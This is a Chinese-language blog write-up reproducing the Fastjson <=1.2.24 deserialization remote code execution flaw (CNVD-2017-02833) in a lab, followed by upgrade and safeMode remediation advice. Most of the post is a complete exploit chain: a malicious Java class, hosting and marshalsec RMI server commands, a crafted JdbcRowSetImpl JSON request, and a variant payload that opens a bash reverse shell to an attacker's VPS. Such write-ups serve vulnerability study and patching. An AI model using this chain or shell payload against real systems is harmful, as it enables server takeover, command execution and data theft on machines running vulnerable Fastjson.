fastjson 代码执行 (CNVD-2017-02833)复现

所有文章,仅供安全研究与学习之用,后果自负!


前言

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

Fastjson多处补丁修补出现纰漏,Fastjson在1.2.68版本以下,无需Autotype开启,或者可绕过autoType限制,攻击者即可通过精心构造的请求包在使用Fastjson的服务器上进行远程代码执行。

一、fastjson 代码执行 (CNVD-2017-02833)

判断是否是 fastjson

随便post 提交 fastjson 格式 数据尝试报错 看响应包

{
	"b":
}
1.2.24版本以下看不出什么

高版本 会有返回 com.alibaba.fastjson.JSON

0x01 漏洞描述

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。

由于1.2.24版本及之前版本
fast json对传入的参数没有检查过滤 只要再 “b”: { }内就会被反序列化。
@type 恶意类
dataSourceName 类的属性
rmi 恶意服务 该机器执行另一个机器给的命令(不会显)
autoCommit :true 执行命令

发包后 靶场服务器 拿到恶意数据反序列化后 就去找rmi服务器问要执行什么命令
rmi服务器就让靶场服务执行 http服务器下写好的命令

漏洞危害

恶意攻击者可以利用漏洞攻击做到:

1、执行远程命令,获取服务数据

2、执行远程命令,植入后门,控制服务器

0x02 影响范围

fastjson <=1.2.24

0x03 漏洞利用

访问主页
如下 json格式
在这里插入图片描述

1.创建文件攻击尝试

1.1 编译恶意类

生成 Exploit.class

javac Exploit.java

Exploit.java 内容如下

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/exphub"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

在这里插入图片描述

1.2 python启用http服务 部署 Exploit.class

通过python命令放到外网环境中,默认监听端口8000。
Python2 :python2 -m SimpleHTTPServer 8000
Python3 :python -m http.server 8000
在这里插入图片描述

1.3 marshalsec 开启 rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.157.137:8000/#Exploit" 9999

在这里插入图片描述

1.4 发起攻击

发送数据包

POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://攻击机ip:9999/Exploit",
        "autoCommit":true
    }
}

在这里插入图片描述

看rmi服务
连接来自 靶机129 说明 靶机执行了远程命令 攻击成功
在这里插入图片描述
在这里插入图片描述
创建成功
在这里插入图片描述

脚本用法:
python3 fastjson-1.2.24_rce.py http://192.168.157.129:8090/ rmi://192.168.157.137:9999/Exploit

2.反弹shell

修改exploit.java文件内容

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPSip地址/9897 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}
javac Exploit.java      
#python3开启http服务  
python3 -m http.server 80
#VPS攻击机开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar     marshalsec.jndi.RMIRefServer "http://VPSip地址/#Exploit" 1099    
#因为 靶机在内网 rmp服务在vps外网 所以用kali执行该命令
python3 fastjson-1.2.24_rce.py http://192.168.157.129:8090/ rmi://VPSip地址:1099/Exploit

.在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

执行脚本说 发送失败,但是返回shell成功
在这里插入图片描述

(kali - vps+)

0x04 漏洞修复

1.升级至安全版本.

2.对fastjson进行一定的安全加固措施

3.采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson

4.使用WAF紧急漏洞拦截,再升级到安全版本

代码修复

1.升级至安全版本,参考下载链接:https://repo1.maven.org/maven2/com/alibaba/fastjson/

2.对fastjson进行一定的安全加固措施

fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)

开启方法参考:

打开SafeMode功能

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。

有三种方式配置SafeMode,如下:

A.在代码中配置
ParserConfig.getGlobalInstance().setSafeMode(true);
B.加上JVM启动参数
-Dfastjson.parser.safeMode=true
如果有多个包名前缀,用逗号隔开

C.通过fastjson.properties文件配置。

通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.safeMode=true

3.采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson

总结

· 1.2.25开始 fast json关闭了 autotype支持 加入了checkAutotype

checkAutotype
过滤了下@type里面的值  ==
 com.sun.rowset.jdbcRowSetlmpl  

用kali搭建rmi服务的时候
touch 命令成功 反弹shell失败

All illegal access operations will be denied in a future release
百度应该是 jdk版本问题
VPS jdk 8可以
在这里插入图片描述
kali 11不行

在这里插入图片描述

·

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值